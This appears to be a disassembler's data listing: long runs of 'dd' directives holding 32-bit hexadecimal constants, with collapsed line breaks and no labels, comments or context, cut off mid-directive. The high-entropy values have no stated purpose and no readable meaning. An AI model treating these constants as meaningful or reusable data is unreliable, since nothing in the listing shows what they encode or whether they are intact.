0A327F301h dd 0D75D1074h, 58E63980h, 6339154Fh, 3D9A5C1Ch, 0EB0FA200h dd 3901A613h, 0F4815164h, 50C90DB0h, 78F3E4F8h, 0C890C05Bh dd 739BF11Ah, 8040682Dh, 36990CBCh, 4CFC6DE0h, 7D20D11Eh dd 60B82FE5h, 0AB9C31EEh, 0EA6A052Ch, 802D296Fh, 3F1245E8h dd 0D120099Dh, 80771D8Ch, 9F61384Bh, 0D28404E2h, 18F0303Ch dd 972D1909h, 0DE20617Bh, 7CA584DFh, 8F3449F2h, 0EC1822FFh dd 81616800h, 0C9894731h, 7FC8040Eh, 0A230F2B5h, 9950007Ch dd 579EE0B6h, 6B5B0E21h, 8B20783Bh, 82300851h, 0B2FA8009h dd 458800CCh, 0B5945C2Ah, 20D5E419h, 802451D1h, 10426065h dd 3345A3Fh, 0C8CD7886h, 0E2E0C40Bh, 0EE01CA95h, 827AE940h dd 0FC14A8A6h, 63338014h, 1C169683h, 80396286h, 8740F3DCh dd 0A401A92Eh, 80D06852h, 71A59967h, 0E0006C64h, 0B8F4D102h dd 0A22F2Ch, 91B99CB7h, 0FF51805Bh, 0F74CCF00h, 0EE56A80Dh dd 5DAEC2Ah, 3D6C6E68h, 1190C282h, 989D5064h, 0A1EEC654h dd 0C0101BD0h, 0CD00FC4Dh, 2BB7C369h, 4524FDBh, 5EC53928h dd 80E0A867h, 710CC8EAh, 0F5640055h, 0CFC09D3Ah, 9200786Bh dd 1B0D13C1h, 7C50C77Fh, 0B48150FBh, 902A0F40h, 0ED8984B2h dd 0B5000864h, 4AEF7121h, 594827h, 0A70356B8h, 709387F7h dd 0ABB30F01h, 7FFA34C0h, 1EC20470h, 8094BE50h, 0D6F6130Eh dd 78EF22F4h, 8F947Ch, 6C09FD6Fh, 2F9BD1FFh, 0F81005E2h dd 1884E711h, 0E0D7583Ah, 3887F55h, 4AEA001Fh, 1190C38Bh dd 9302E2CBh, 5DF69F7Ch, 64C68BC2h, 0C9F70480h, 9197E804h dd 70BBE3F4h, 370B309Ch, 4B5EB90h, 0FD478E5Ch, 0B05A6701h dd 20CC4E0h, 0F8A5692Ch, 9904CC23h, 50F29C82h, 0C5FFF202h dd 0E47C416Ah, 0C1104904h, 0EE7C8081h, 0A9004063h, 413DFA1Eh dd 0D05E4927h, 318DF800h, 0C8D59E5Dh, 10AC2868h, 62258020h dd 2328A056h, 7089297h, 0E542D632h, 43A54050h, 3F4E93FFh dd 33645800h, 0C00E698Ah, 20D01B49h, 970015FCh, 1939CD04h dd 29F1021h, 0B3D27507h, 97E04BE2h, 68529457h, 0D0017FC4h dd 283C341Ch, 202A267Eh, 2DF6F9F8h, 3DEF8912h, 614058B1h dd 5BB94D6Fh, 0BD50D010h, 652CF3D7h, 610C18DAh, 483AE01Dh dd 31116C5Ah, 0D469001Ch, 8002C6FAh, 0C9885E64h, 84843C80h dd 45708148h, 6900347Fh, 0DB3A4D40h, 170A7D1h, 0E65EEEB6h dd 6D552FF6h, 1CAF4C88h, 0A0004E92h, 732B03EEh, 47E709FDh dd 4C1898CBh, 0B001AA56h, 0B3D8B6ECh, 146ABCE6h, 0F7711CA4h dd 0E309CDCh, 0A3AB6068h, 2084E34Bh, 0BC2F4119h, 0C8DC7BC7h dd 0DBD00090h, 271B5D9Bh, 0BE19A135h, 67509A7Ch, 0E36EC080h dd 22724C47h, 57007878h, 8B69A3E8h, 7F7D5D0h, 0F2E6C7B8h dd 0A96B3048h, 909E9F82h, 0AF1A0E80h, 90E3C224h, 92701D60h dd 647B1481h, 4D80804Ch, 72C3516Ah, 891550Eh, 4838E037h dd 0CE2398Eh, 0C7864B19h, 0E37A67E9h, 74737226h, 0E147611h dd 3D04E837h, 0ADC14CB3h, 0C997001Ch, 0F67F4305h, 1490B53Bh dd 1725F0CFh, 14462Ah, 9389C6DCh, 4FCCAF9Bh, 0B4D1431Dh dd 7A829DDEh, 49284774h, 0C8B99184h, 0F900D7C4h, 544AAD9h dd 247A94CDh, 43EC6F48h, 8AD1D5BAh, 9C62CABDh, 35502076h dd 8ED300C5h, 48A213DBh, 0A30BAF1Ch, 0B06280D2h, 9564BC20h dd 0DBE77880h, 209EF619h, 1C1160ACh, 44EC8402h, 6C40D131h dd 430036F1h, 0ADFA1A78h, 963EE1F8h, 5CC98024h, 0D2CFAF4Fh dd 68A80500h, 0C4EDB7CCh, 4A310099h, 0C681FB8Fh, 80F1B0Eh dd 84D489A9h, 0F0F01D66h, 0C5924B33h, 0D070B100h, 0D6046DB9h dd 0C7F3C315h, 846A2080h, 3E4B0183h, 755F53C0h, 0D669D89Ch dd 0E48BBD2Dh, 0A3A900DCh, 0C9D04B47h, 0D13B249Fh, 4C988023h dd 72E32D80h, 0B169EA52h, 0A0820A6Ch, 0C85D44DCh, 9C00363Ch dd 948EA228h, 6E8B3Dh, 68ED1D8Dh, 31DF9D66h, 0F719A813h dd 7A00F4E2h, 119ECF8Fh, 0E22EECD8h, 3F440008h, 1AE4E4C9h dd 0AEBB0091h, 0AA6861BFh, 7405326Fh, 0CD1048D7h, 4E0FECF8h dd 194FC5B9h, 98811362h, 0DE565082h, 0C1AB0820h, 1A2A0096h dd 6851ADA9h, 0F2048789h, 6FBB57D5h, 0F36CCCh, 0FD4661DDh dd 0C6C148FCh, 1040564Fh, 0D0EC338Ch, 0E68800B6h, 6ED7862Ah dd 8F261012h, 660504B9h, 1C80E7BDh, 0B5E5D06Fh, 0DC2D8091h dd 0CB1CFB5Bh, 598190F7h, 853B2771h, 0AC66846Bh, 6A88805Ch dd 17D9E4BFh, 889E5831h, 0E500A49Ch, 0C7B74489h, 28B474h dd 0BE06430Bh, 92F2BC9h, 0C5A87102h, 40C676ECh, 0B0C36504h dd 2A3A01A0h, 524931EBh, 0BD56F0D5h, 0BB3E6216h, 0B4D7B4B0h dd 0FCE26110h, 5FA71020h, 0CA0526ABh, 88509350h, 0C900AF68h dd 7804BABDh, 46A0B4h, 59CFDA63h, 0DB1186A4h, 0F0EF621Ch dd 706A3B40h, 16B63896h, 134DECh, 0DA3E2080h, 9B4CC0F4h dd 8005C0B4h, 13380197h, 223276h, 6E61F1DBh, 0B22574CDh dd 0A4EC86h, 700BD14Fh, 0D545ECE7h, 17C081B5h, 0F06CB948h dd 0A430009Eh, 0FFCB4B18h, 0F9C61D17h, 0A9EC530Eh, 0CC66E2h dd 2F48688Dh, 3ED02D22h, 2900AC99h, 247530E4h, 0FB7A0769h dd 0A0A52E20h, 0C23415F4h, 0AA110E0Ch, 26E110E9h, 0A49CDA6Dh dd 19A461B8h, 0AAE3F69Eh, 60235FB8h, 0AFED2216h, 42C888h dd 0AB5DA57Eh, 0A16BF4EBh, 0B4D9AD00h, 0DA34A968h, 0E3640CD2h dd 3F3110F6h, 7D0FEC99h, 259D6266h, 3CDE6086h, 120201AEh dd 0EAC18EB6h, 0B4016E76h, 54ACB4F4h, 2C000829h, 0CEC8199Fh dd 0B3003FE6h, 0E8D63046h, 998FB68h, 9AB71444h, 9C18142Bh dd 1E0215E5h, 31D5CD26h, 0DEA8C290h, 0E51040FCh, 0E4FCC70Dh dd 1C794426h, 46047A11h, 0C07DF7D9h, 0A719587Dh, 3EC52117h dd 0C3A92020h, 38A1021Eh, 0E92F0F88h, 4227D084h, 51FB652Bh dd 0C558068h, 7A83F2CEh, 8059D13Fh, 0BF234BA2h, 1901494h dd 0B499C5ECh, 796F9334h, 50A073Ch, 389C360h, 0F04B1BC6h dd 5C7BB15h, 0B71664DBh, 178982A4h, 61031CFEh, 80BB06B0h dd 38456003h, 521FDDC7h, 5BDF005Dh, 25DEF122h, 7A815103h dd 0F0A4FD36h, 0C79D88D9h, 0C0BA6220h, 0CB4C5993h, 87251500h dd 0BEC4F252h, 63FCF3E9h, 0CF790061h, 5D345FC2h, 7330CEDDh dd 0A97A6062h, 3BA53B55h, 0DAFD4983h, 0E7C8E17Fh, 0AC41782Eh dd 865DF4h, 0A1B4832Ah, 448090A8h, 0D638207h, 56302C31h dd 7E0B317h, 0F9FEB9E3h, 7FDE1030h, 480093A1h, 33F0104Fh dd 0FCE77B69h, 20770416h, 0C356D99Ah, 0C9009C98h, 0A84CC205h dd 7E7B28E5h, 5234093Ah, 0E780471Ch, 0E7C68C04h, 51F640BFh dd 3E90A85Bh, 4C0C0033h, 0BE113DD2h, 0F31820EDh, 7D216751h dd 15BA0319h, 21566FA6h, 72D83D88h, 6D6C80A8h, 1CAE2600h dd 6BCF135Bh, 91AA60F3h, 0FF489C9Fh, 0E300F974h, 2836FAA6h dd 313F80h, 852D073Ch, 0DA164D49h, 0F50021E2h, 0F9FB1755h dd 18A51A5Fh, 696D379Fh, 7F06E0CDh, 0A288C08Eh, 631C0161h dd 0D2C1F76Dh, 8ABFF8E3h dd 9E003FF0h, 697714ACh, 2DF15F2h, 6F592356h, 0C8A0E013h dd 447BD955h, 4BCDCA1Ch, 2FDA73C0h, 4A5F76h, 68702CDFh dd 64C3B7A8h, 6893E228h, 916C3530h, 0E1E31DAh, 65E670D6h dd 0E70D0523h, 9D62580Ah, 0AB60B00Ah, 7BD4A3E4h, 0BB80Fh dd 2F325CF2h, 0D8AC86DBh, 6F296861h, 5040B916h, 0E0071AE7h dd 8FE03FCCh, 226F678Ah, 0B4560460h, 0FB608889h, 45F68800h dd 65C66E8Fh, 0C1E307A9h, 0F1665109h, 0F65F9EE9h, 491FA490h dd 0F38C03BDh, 9F18B8E3h, 893418A4h, 0F73F519Ah, 35994B03h dd 196EECADh, 21968AA1h, 86D8400Fh, 0FE02AB54h, 0B4FCB198h dd 146301h, 49A03BA1h, 9412160Fh, 22F2F500h, 0DAFC7CDEh dd 575F062Ah, 78A08BE7h, 4620D2F7h, 23BEBFh, 0C8C48110h dd 64E8C9B8h, 0F117FE07h, 80DE6AE1h, 1DD8681Ah, 0ACC73E22h dd 5AA16030h, 6B18EC6Ah, 7551C9EAh, 3591C1C6h, 31D23DC8h dd 3BC7CC76h, 8A0280FAh, 5F441CC0h, 0D9D8996Bh, 0B6F030h dd 0CB5EC242h, 27376649h, 0F6721503h, 9888B5h, 2EBA6961h dd 6EA31639h, 0D0130807h, 724007BFh, 0F758C0h, 16B5C36h dd 3CDD199Eh, 0B1344D54h, 106BC5Ch, 0F899D2C4h, 6030535Eh dd 0CF0D1589h, 8300D868h, 30746D01h, 0AA0065D9h, 7A3921BBh dd 16A86F0h, 9F23AD13h, 8C61823Bh, 61C65230h, 186F702Ah dd 3F4781C4h, 80008994h, 0CD64A7D3h, 386367h, 856DE0B9h dd 55E5E37Dh, 3FF42203h, 0F010D19Dh, 0C1C45169h, 0E699A751h dd 662760F0h, 5FC8DB00h, 0DE03F2C3h, 8AD8013Ah, 724830F7h dd 54221Fh, 0CD2FB2A1h, 3032F01Ch, 0BA19B575h, 0E0137305h dd 4014B72h, 134F2378h, 0C3C091h, 67205E29h, 0BB83A8h dd 75D5591Dh, 97A97994h, 0ABF8FA00h, 84DACD08h, 4BB73FFCh dd 72856CBDh, 46662C9Fh, 516A52A0h, 0ED018AEEh, 1FD995C9h dd 1422F464h, 9AFC09C0h, 0EA0E72ABh, 0F2BEB7h, 6FA9698Bh dd 0EBE5013Eh, 0CEA2DACCh, 1D61806Bh, 32886397h, 857D000Ch dd 0BA11B5BBh, 68982436h, 712ED90Bh, 0AB4818B8h, 9CDE002Ah dd 86DDB3E2h, 0D801C9AAh, 0AD6DDB59h, 29AC69DAh, 99BA1891h dd 6E19B9FFh, 0CE11B215h, 78508C32h, 3C3F0F99h, 648C9223h dd 6300BE19h, 0D6E36E95h, 2412478h, 0A951E52Eh, 0EC410D92h dd 676F1072h, 7B93A7Ah, 0E0A5578Ch, 3B264524h, 8C03A4CFh dd 0EA71DB63h, 26B84EF3h, 61883BA0h, 0F4C2197Bh, 0E7063CAAh dd 0B377DD08h, 0D12000B1h, 0A7FE6863h, 0DE004C44h, 0FFAEA9BEh dd 0F8055F17h, 4B7BC9h, 0DD3D9B5h, 756523FDh, 9C41AD60h dd 885957h, 10A1BC5Eh, 4943853Fh, 0DA38E374h, 1058A6h dd 6FC1375h, 0C70D366h, 5A349F02h, 31001CA1h, 0E0C3070Dh dd 0A98A76Ch, 0EFACB2E1h, 888944CCh, 0B87080ECh, 69442E0Bh dd 0E59803CFh, 0A2AA0F6Bh, 0F5A39EC7h, 3BAAF7BBh, 89C23081h dd 741BCA1h, 0EBA358D8h, 25004EB7h, 1C921564h, 6B48C13h dd 3969D810h, 0FCA8DD16h, 4C775A00h, 15DDA37h, 15A2239Ah dd 203A4853h, 7F0CE790h, 885712D4h, 52C90A8h, 0BCF21B31h dd 0C6508888h, 9FF9C01Fh, 3E45AE0Eh, 89C30D83h, 0C821009Eh dd 4C9BE47Eh, 79008303h, 548B812Fh, 0EEA15C7h, 9EA7FCE9h dd 0C210ACA1h, 0E8684288h, 0BB987CC3h, 0C301B213h, 4D714796h dd 680D068h, 0AC3F36ABh, 0CA02B129h, 0D9FF7ADAh, 9DA8076h dd 9056A401h, 98187F84h, 0E216145Bh, 0C09FBC51h, 0AC99B424h dd 200B2D0h, 0E3051EEBh, 30AD61DAh, 4B2974F3h, 64001A58h dd 0B7CB72C6h, 6E9CED46h, 7FE6C4h, 4A30A31Fh, 56050FFAh dd 0AE758AE7h, 8B2FC840h, 72482BA1h, 0CCE61C52h, 0E40500C0h dd 0F14192D9h, 106ED101h, 177242A6h, 0AC07C462h, 440D831Ch dd 4C90837Bh, 37C058DBh, 971CC763h, 0FA13A792h, 0FC007C12h dd 676EBA78h, 705230E5h, 5902A5B9h, 0D6D3800h, 9576F8C1h dd 0B4B0128h, 0ADCD9DFAh, 0EFEC4206h, 72054044h, 0F36780B3h dd 968EF403h, 127A39Ch, 6AA71D9Ah, 41F46BE6h, 0DEC46518h dd 62CEA241h, 60007B1Ch, 2244610Ch, 0FF3B9EAh, 1BCB8F69h dd 0F1456E47h, 80AF74F2h, 933382E9h, 56AE85h, 0AAECDC66h dd 21366A8Fh, 0CEF8120Bh, 9630207Eh, 0FB3C5Fh, 54FF907Ah dd 498AF192h, 80D6973Bh, 11EE42ACh, 382F0F5h, 9E20560Ah dd 3EB0017Bh, 520936FAh, 90CF1BD2h, 3F2A4ED0h, 1983DC6Eh dd 0E3C7A6FFh, 1F6CC0D4h, 0AA09F27Eh, 80078517h, 5C376CF4h dd 3F060B57h, 1C908A65h, 0EE00BBF0h, 0A488D960h, 0F2AE74h dd 2F270E50h, 153DB36h, 86645258h, 288E4D0h, 0D1121815h dd 0CEE0CC7Ah, 7002CE07h, 0ACA4E084h, 8052E4h, 99D352E1h dd 0BADEBB1Dh, 9F372307h, 0FB678B7Dh, 0E9D00089h, 0B975AE8Fh dd 0AA530080h, 490681Eh, 332EB209h, 7910050Bh, 0FBE9E400h dd 4B9F5DA7h, 64244330h, 0D13AACF6h, 7CECA4A9h, 0CE2D0840h dd 0E8DEF072h, 6D31C767h, 0ED974048h, 2F035ABCh, 7B70FF5h dd 588B0DBh, 0C46E58BDh, 0CF230075h, 0DE83AF7Dh, 10C719A7h dd 0AE31255h, 0CB7A27Fh, 0CC016028h, 75E6ACBAh, 19BB443Ch dd 49B36B00h, 0D04BBCDh, 801FD638h, 0D5BE7380h, 0E81D8A3Eh dd 60501D22h, 0F061B044h, 0B9F0387Eh, 0B1397828h, 0D4F9B503h dd 0E39CAC6Ah, 7029001Bh, 984FBCD9h, 7D7C16A2h, 44C93D0Dh dd 35C4211Eh, 40E600F1h, 0B9A2BBB7h, 0AC22DE5Ah, 1DE1F418h dd 0BA60BFh, 0F1870C3Bh, 0C803F53Eh, 3F756693h, 0ECC90132h dd 0C95F0F78h, 5AA4DC51h, 31FEA100h, 0CBDDB260h, 527199h dd 0ED0280A7h, 0CF6CF2C4h, 0FE0A8700h, 0C0B5429Eh, 541AE64Ch dd 6998D7h, 116A4E7Fh, 67882D51h, 0EBBA7501h, 2E3FDE63h dd 42BE7980h, 6844E965h, 35347500h, 957880D1h, 3FED1852h dd 1E0B2931h, 94451300h, 129C2BD8h, 72BF0096h, 54A275C9h dd 0E0950E33h, 1FF5C367h, 0E0AC81h, 0ED489851h, 0DE30DCC2h dd 960D101Eh, 0C0AFCABh, 0D14A06E9h, 0C60002C8h, 8E8151Fh dd 0FC30A45Dh, 0EFAD74F4h, 72CFD18Ch, 4F015219h, 19C6C79Dh dd 2180D21Ah, 183F996h, 6800EE97h, 84599B3Ch, 1AC1903h dd 0BFC4D746h, 81D11ABEh, 5402E731h, 1DE8C7CBh, 26EE0D9Eh dd 0F4D0EF4Ah, 29C1D30Dh, 0FE291ACBh, 0FBA7E8h, 0BE1DB081h dd 0A9D1062Ah, 0ACE390C0h, 44E4899h, 4465AD17h, 0FD6488E9h dd 20934B00h, 2C295BDDh, 0A1C90084h, 515D42Eh, 25056330h dd 0FAE81274h, 51C9841Dh, 0EE7407C5h, 71ED4F81h, 0DDFB1880h dd 0CAB515E4h, 5DA899D9h, 39ADE8E0h, 548676CBh, 21DA1AD6h dd 88E1F21Fh, 0EE653700h, 1DF183h, 164081CBh, 8B821831h dd 0DB1AAE18h, 7F6E0A31h, 4B080157h, 5AEFE546h, 0CC25FD38h dd 0A0703C76h, 0CC335928h, 0E1E01505h, 94305EA2h, 97258FFBh dd 0E20000F8h, 2AFEF61h, 24AC761Dh, 0AA2B60Dh, 6181A01h dd 32FBC38Bh, 901B4802h, 0C3DC294Bh, 0F8409592h, 2B9C6514h dd 331098C4h, 0E5192FF0h, 0EBC63BF8h, 831E482Eh, 27D44501h dd 0BC50104Dh, 217BC1h, 0D3E54AF6h, 3996F1CCh, 1985650Ah dd 0B90AB875h, 0E04EA4CBh, 0ABDE3EA3h, 9F41C006h, 1EFC480Bh dd 244D7F09h, 0A23C8FBBh, 40C0F291h, 7B8CBF28h, 0DC1A22AAh dd 0B5BD5F00h, 69DBA6B2h, 293B0189h, 756F580Ch, 0E1E68791h dd 0FD409537h, 1D6EB0h, 483A7DFh, 18A2BADBh, 956AC700h dd 0FDA44B02h, 862612B8h dd 74C05430h, 0DAD476C0h, 9900FD91h, 0B278E89h, 500E30AAh dd 88DDE8F3h, 0DC038AD9h, 0BC1BFC60h, 9212F8CFh, 0F49047h dd 0E510E1AAh, 0A261A6AFh, 0F095590Ah, 4180B03Ah, 0E8B36A03h dd 0A6C800DBh, 0E3E2258Dh, 7204C93Ch, 0AD0BB2D4h, 91294083h dd 2C301DE8h, 841207C5h, 0AA447DFDh, 0DD9883A4h, 57D8928Ch dd 890030FFh, 66D0627Fh, 5012E1CBh, 0EA26C8F0h, 0F7A244ACh dd 108980F1h, 98B04158h, 0C26200BDh, 0F49F0743h, 4D4C29C7h dd 169D032Ch, 88A37E44h, 543C39E9h, 3C539838h, 0B868A4Eh dd 91144D54h, 0C2E5221Fh, 2F17F185h, 0EBF28700h, 1E4CA40Bh dd 703FD331h, 0B2022441h, 93E3B400h, 9E0DBAC4h, 29150097h dd 0A755CE63h, 0A14C1166h, 0D85C24CCh, 20011E13h, 7ADDEFBh dd 0D7193h, 72D84380h, 0C79F352h, 3801D099h, 0A6254C35h dd 0CA20AECh, 3B3F76ECh, 0F57D5981h, 0B1F73909h, 0EF1000FAh dd 181FF625h, 611AD5DFh, 600085A5h, 4882AE7Ah, 0C0C3F15h dd 463D2B79h, 0CD00A749h, 3A29FF09h, 67B1EAh, 7E56E8BAh dd 2586D3E0h, 4D8DAF01h, 4B0DE82h, 76659A6h, 0C4F2C31Dh dd 5DAC8C62h, 0DFF16000h, 43E4C9F5h, 2D5C13A1h, 0CDDC04B7h dd 894817Dh, 3100E34Dh, 0D84F4BA0h, 7268E56h, 794AB759h dd 0A49AC280h, 6E289882h, 691ECCC6h, 0A341FF1Bh, 3C60DE7Ch dd 1EB28848h, 0B4AD803h, 0C0EF195h, 0AEC9D0h, 820CEA80h dd 0E9160075h, 0A7FA523Ah, 0E6003F88h, 0FB45E0AFh, 5DDE4DE5h dd 0C49F34A2h, 43348426h, 0C3821DA3h, 9BF0E710h, 1AC759Fh dd 7EF4C45Fh, 325430A2h, 2CC4850h, 4B041403h, 57884079h dd 0BD1206B5h, 0E046FCABh, 5CF10326h, 401C8340h, 19562CC0h dd 122B116Ch, 2403BF1Fh, 5333FFCh, 4F744889h, 6138350h dd 0D25E2AA0h, 0DAB8F116h, 1DC205ABh, 0B1B42744h, 3013F58Ch dd 31058E99h, 0CE9C72F1h, 7A18AC80h, 80F499ADh, 2D9FC886h dd 0F00F0BCh, 77AB3A39h, 49912C2h, 0F4D9E1D6h, 16DCC024h dd 68907B6Bh, 603D1744h, 0AF9BA12Fh, 45004CFFh, 76A78247h dd 0AE6FC5h, 84630D99h, 0ADEB5183h, 73618801h, 0A2DF2BA4h dd 120C3022h, 3A91C9B0h, 0A3A41309h, 0B11C03FFh, 0C7190FC8h dd 0E382D4CCh, 6CC6A23Dh, 0F4479900h, 0D6C901C5h, 0D42A0020h dd 0A2939DB1h, 42004341h, 0C1ACA4C3h, 4CE8A75Dh, 7605F9A9h dd 8EDAFDEh, 6F814564h, 3BA24B14h, 51FFD0h, 0AB4CF384h dd 6D50A6EDh, 0CC6EEB17h, 0D1B2B400h, 4C6F3710h, 0A0802844h dd 0ABBBFC40h, 8DB71E00h, 2B65BCD5h, 0F63F00BDh, 0AC28874Eh dd 9512D78Ch, 0A4204468h, 4C5D2E14h, 0A90F3ADFh, 73027B93h dd 0B0923C64h, 0F6CCA340h, 92DB1901h, 0E61B6D6Bh, 6ED0B431h dd 0D8B82612h, 402D4498h, 0AF70E165h, 6C6812DEh, 254000E9h dd 7D3AAC60h, 146A910Bh, 6358101Bh, 38ED02E1h, 0BC2CE8D8h dd 0C4FA7060h, 498028A8h, 8FC03602h, 0AFBA96h, 0AA76622Ah dd 7301991Eh, 9C088196h, 0F084801Ah, 0A0AAA3CCh, 492EF730h dd 0F9950Ah, 0B9C6FE62h, 0E7AE2904h, 0AB7FDF00h, 661454DDh dd 77610047h, 16DE7049h, 110FB50Dh, 32F38290h, 0D613B402h dd 52A86063h, 2B910EE5h, 2189F738h, 3A90B018h, 1EA8885Ah dd 0F309BC48h, 883D32Ch, 5826C0C9h, 5E0BC40Ch, 0B0A81BA5h dd 1E1EDE8h, 0BF2BCC5Dh, 800CBAF4h, 0EB42F768h, 11C8CE4Dh dd 4C295330h, 27D0091h, 5D3336A2h, 4419CA22h, 0B0344084h dd 5C17B8B9h, 1C01C4B6h, 9E26CC13h, 11E821A6h, 0BF0800DFh dd 5FEA879Dh, 81BE0098h, 39916A1Eh, 6C98854Dh, 0AD15540Ch dd 4831D5h, 5A27D34Ah, 89F087DAh, 81086F02h, 443F60C3h dd 4D3C0020h, 3AC1029Ah, 0F5F75CB3h, 0E12460F0h, 0A3ECAD04h dd 508113EAh, 2EF0EB5Bh, 3A4B865h, 12725A93h, 7113D0B4h dd 9820AEDEh, 0B81DF885h, 0A067EA18h, 489DF2CCh, 0FC00E051h dd 9FD3A7B7h, 0BD1852D5h, 970DE05h, 0FC175CC4h, 883441C0h dd 0D2002A91h, 5DBA92F2h, 0B0F1D25h, 0A9CA0C68h, 100058Ah dd 0ACD62734h, 8C237Ah, 0C8829915h, 4D77B90h, 0BF26202Ah dd 2710CCA5h, 9C494B3Ch, 2A478FADh, 527004DCh, 18F050D1h dd 98E3711Bh, 901192FDh, 9607D61Ah, 0C099C885h, 8A2AA51h dd 0A8C1D53Eh, 0B5218897h, 6AD08D7h, 0F08AAB82h, 33004824h dd 0CE620E99h, 1620DDB2h, 0ABE8A4BCh, 11012098h, 42DE1D05h dd 74311239h, 372AE473h, 45DD3E60h, 0A9C89480h, 0C9AFD87Ah dd 4F91C400h, 5EB1185Ah, 0DB8B052h, 8C76730Ah, 0B450F640h dd 74232916h, 24275801h, 7423817Ch, 35320F02h, 8CC0F5A4h dd 0A51DA2C3h, 0ACC0E015h, 0A390AE34h, 0D8EB04DEh, 812C78B7h dd 60D2AD9Ch, 0BD245580h, 240B64EAh, 7BD090F0h, 336400B8h dd 82B211A4h, 3F00EF61h, 0ABD667C0h, 1918F54Fh, 313CF07Dh dd 66FCDC26h, 0F4F79AA0h, 96CA8F00h, 0EBA1DC15h, 4F4400E3h dd 0E2FC198Bh, 7B03E8A3h, 0ACA81785h, 3AADF02Ch, 40709CF0h dd 86DDA134h, 0F5079F00h, 5E14FEA2h, 0D57B3ACCh, 0A3DE8905h dd 3CD44BEFh, 3F168890h, 5461D101h, 0A02E15FDh, 0BB918540h dd 0C7200782h, 50C87FE1h, 743EF7B5h, 60642604h, 9CC80D0Bh dd 0D9AB0154h, 5F2824EDh, 8B84DC63h, 4E160F7Eh, 6C20B515h dd 87ED52h, 6066D709h, 77575194h, 2298A04Ch, 2D3C3012h dd 0E9842199h, 0AA96C600h, 6FA822A3h, 953105D5h, 82A74B51h dd 0FCC075E1h, 354EA312h, 2E3CD004h, 0D10A7E40h, 0BF005FF5h dd 0F3DBD25h, 24E45C7Fh, 11607DF6h, 90C027C8h, 0E4116C70h dd 1FA101EBh, 0E0AE5166h, 409DC468h, 1537FCA0h, 184D2028h dd 6AE52A07h, 9299DC26h, 0F98D0048h, 13DD69h, 0D18AF82Eh dd 0A1DE8BAFh, 1289949Eh, 3AB866AEh, 1D04B9CCh, 0C8F7592Eh dd 3C05FBE0h, 0C2D0EEC3h, 0AF5388C0h, 34844CE8h, 0D5361A07h dd 0E48079ADh, 26677D34h, 50074226h, 12635C2Eh, 148CBC8Fh dd 833F3C8Bh, 35BDDF81h, 0F87211E4h, 78964B30h, 41134D8Ch dd 595100DFh, 103D3B7Dh, 9C78FDFFh, 832F6A0Bh, 0C1FC1967h dd 0E949E4h, 0C3D99A84h, 1312A1B9h, 21961903h, 0FEF7763h dd 62852FA8h, 0D537A8A0h, 0BC014E7Eh, 30819539h, 81883F52h dd 12801744h, 9BC03A1Bh, 0A41C017Bh, 5911C27Eh, 0E878E98Eh dd 5D2830FFh, 1C815C34h, 1A00C721h, 0BFDEAC0Eh, 96580Bh dd 0DF9CA3F6h, 68826A28h, 0E1BA7601h, 2C3FB1D6h, 4F1C24h dd 79928AE7h, 70BCE25Bh, 9F262316h, 21D35432h, 70715F2Fh dd 341D9718h, 6025A91h, 232EF783h, 0C1C8FACAh, 8502E370h dd 8B561775h, 87162h, 0D4F43D5Fh, 0A100BA48h, 0C47386F5h dd 247B05h, 0C1989280h, 0E0A741AFh, 56219507h, 81104FA3h dd 58CD0E99h, 41C09C0Ch, 0A6826370h, 31E6D200h, 0F399E7Eh dd 219A12A5h, 0EC400883h, 0F046D964h, 0F200B128h, 0FA2F4D6Ah dd 76989C1h, 0E6E8F7EBh, 3B840017h, 2A01AD94h, 32F85B49h dd 0DEC82A6h, 9738007Eh, 0AB5C0E5Ah, 2625B3A3h, 8020AB92h dd 0BEED87E4h, 9F200518h, 80A57B3Fh, 0CED0DB28h, 0E0CCA826h dd 0AC20CB3Ah, 718CDCh, 3E6DEE6Bh, 0CDDE1BE2h, 0A03D9A25h dd 0F1196E08h, 54CC0091h, 237B82A7h, 0FD0FD55Fh, 21A40B8Bh dd 0AE15776Dh, 8020D849h, 0E8638A1Ah, 0B30240A4h, 48C86442h dd 62807C44h, 0DA3ED3C3h, 2D182900h, 5D7C064Ah, 4E0D4B5Fh dd 0C9A0461Ch, 8A9C4964h dd 0EC271000h, 0AE26E92Fh, 0E2F01DA5h, 27806836h, 0C4203FEEh dd 0E9FC5A6h, 4DD21508h, 0D0658FE9h, 98C5F40h, 7C00F58Fh dd 0FD7F1899h, 0AA476Ah, 0CF58E794h, 7767124Fh, 4258A46Fh dd 4668F49Eh, 0ADE50098h, 9FAF5D6Ch, 0A5030B2Ch, 2F120C53h dd 65EAF9C3h, 5F87B838h, 0F5219028h, 330F7EBDh, 0C24E5706h dd 4013BEFAh, 8419AD18h, 0CC27E076h, 9EC0A03Fh, 0BB76CA8h dd 0DF593ECEh, 9F0A77D8h, 0BC751951h, 509DD510h, 0E5E88004h dd 4C2B91CCh, 0F51C58C5h, 1EE46652h, 424E3EFFh, 0A9DE7270h dd 82AD1C85h, 0FCE1465Eh, 3BF011A6h, 0EC2100D3h, 0C85D0904h dd 3A007391h, 0B4F6506Ch, 410F9Eh, 199F4E8h, 55301B61h dd 26392361h, 7184379Bh, 0BBD60D99h, 102D650Ah, 0E7133591h dd 0F6CC88FBh, 8A97143Fh, 0C8B6AA1h, 39633D81h, 77EDC8BBh dd 7FE741E4h, 5C731F76h, 99D441A3h, 0EE50E648h, 101F0461h dd 30A81C2h, 465D47DEh, 900BF1CEh, 183D586h, 0AED3093Ch dd 0EE2631D0h, 82D024EBh, 10411E8h, 6418B50Ch, 4860C762h dd 0F1272642h, 37F84044h, 0A1FCCCA4h, 6034E04Ah, 60EDC805h dd 3139BCE2h, 9734BB00h, 651B17C3h, 0D201C900h, 6BDC879Bh dd 0A0B90Dh, 0C1BBD669h, 6DE2C5CFh, 41023D98h, 8BA0DECDh dd 0B30641Bh, 28C6C759h, 2B1DDA00h, 5800254Bh, 2C33FA90h dd 50607DCAh, 3A458CA5h, 0ED02EC85h, 6CFE3B23h, 71161460h dd 0DC14EA00h, 69FD4A26h, 0FC870051h, 3BC733A9h, 817AF248h dd 0E4D7C126h, 9DF6C860h, 0EA5200ABh, 880D4018h, 3B453D7Bh dd 0BE4C4DDh, 0CC5A2DC0h, 8D802800h, 0CF0F678Bh, 5F494B4Ch dd 14758780h, 99607E98h, 0F3068150h, 0C43C8FAEh, 7609A0A6h dd 849D3F64h, 2122D8ACh, 0E318F820h, 0A5A2005Fh, 17611B14h dd 7600F950h, 360772A4h, 195EBB1h, 68C24B7Dh, 20B723D5h dd 0D6881D9Ch, 881502EBh, 756D491Eh, 9C41986Ah, 3BB073BAh dd 